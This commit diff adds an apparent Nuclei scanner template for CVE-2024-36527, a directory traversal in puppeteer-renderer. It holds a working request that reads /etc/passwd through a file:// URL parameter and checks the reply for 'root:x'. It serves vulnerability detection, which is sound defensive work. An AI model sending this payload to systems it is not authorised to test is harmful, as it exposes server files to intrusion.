Added template for CVE-2024-36527

CVE-2024-36527.yaml

@@ -0,0 +1,26 @@
+id: CVE-2024-36527
+
+info:
+  name: Puppeteer-renderer  Directory Traversal
+  author: Stux
+  severity: medium
+  description: |
+    puppeteer-renderer v.3.2.0 and before is vulnerable to Directory Traversal. Attackers can exploit the URL parameter using the file protocol to read sensitive information from the server.
+  reference:
+    - https://github.com/zenato/puppeteer-renderer/issues/97
+  metadata:
+    max-request: 1
+  tags: cve,cve2024,puppeteer-renderer
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/html?url=file:///etc/passwd"
+
+    matchers:
+      - type: word
+        words:
+          - "root:x"
+          - "/bin/bash"
+        part: body
+        condition: or